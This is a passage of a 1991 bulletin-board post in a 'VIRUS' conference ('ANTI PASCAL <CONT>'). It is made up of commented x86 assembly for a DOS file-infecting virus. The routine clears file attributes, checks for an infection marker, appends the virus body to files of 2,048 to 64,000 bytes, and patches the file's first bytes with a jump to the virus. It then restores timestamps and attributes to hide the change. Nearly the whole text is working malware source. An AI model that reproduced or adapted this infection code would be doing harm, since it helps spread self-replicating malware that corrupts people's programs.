drv_xit ; Done. Exit namaddr dw ? ; Address of the file name buffer infect: mov [si+offset namaddr-v_const],dx ; Save file name address mov ax,4301 ; Reset all file attributes xor cx,cx int 21 ; Do it jc xit ; Exit on error mov ax,3D02 ; Open file for both reading and writing int 21 jc xit ; Exit on arror mov bx,ax ; Save file handle in BX mov cx,4 ; Read the first 4 bytes of the file mov ah,3F lea di,[si+offset first4-v_const] ; Save them in first4 mov dx,di int 21 ; Do it jc quit ; Exit on error cmp byte ptr [di+3],0CA ; File already infected? stc ; Set CF to indicate it jz quit ; Don't touch this file if so mov cx,[si+offset fsize-v_const] cmp cx,2048d ; Check if file size >= 2048 bytes jb quit ; Exit if not cmp cx,64000d ; Check if file size <= 64000 bytes stc ; Set CF to indicate it ja quit ; Exit if not xor cx,cx ; Seek to file end xor dx,dx mov ax,4202 int 21 ; Do it push ax ; Save file size on stack jc quit ; Exit on error ; Write the virus body after the end of file: mov cx,v_end-v_start nop lea dx,[si+offset v_start-v_const] mov ah,40 int 21 ; Do it jc quit ; Exit on error pop ax ; Restore file size in AX ; Form a new address for the first JMP instruction in AX: add ax,v_entry-v_start-3 mov byte ptr [di],0E9 ; JMP opcode mov [di+1],ax mov byte ptr [di+3],0CA ; Set the "file infected" sign xor cx,cx ; Seek to file beginning xor dx,dx mov ax,4200 int 21 ; Do it jc quit ; Exit on error mov cx,4 ; Write the new first 4 bytes of the file mov dx,di mov ah,40 int 21 ; Do it quit: pushf ; Save flags mov ax,5701 ; Set file date & time mov cx,[si+offset time-v_const] ; Get time from mydta mov dx,[si+offset date-v_const] ; Get date from mydta int 21 ; Do it mov ah,3E ; Close the file int 21 mov ax,4301 ; Set file attributes mov cl,[si+offset attrib-v_const] ; Get them from mydta xor ch,ch <ORIGINAL MESSAGE OVER 100 LINES, SPLIT IN 2 OR MORE> =========================================================================== BBS: The Programmer's Inn Date: 11-24-91 (20:08) Number: 3565 From: AHMED DOGAN Refer#: NONE To: ALL Recvd: NO Subj: ANTI PASCAL <CONT> Conf: (16) VIRUS --------------------------------------------------------------------------- mov dx,[si+offset namaddr-v_const] ; Point to file name int 21 ; Do it popf ; Restore flags ret v_end equ $ code ends end start --- ■ RonMail 1.0 ■ Programmer's Inn - Home of FeatherNet (619)-446-4506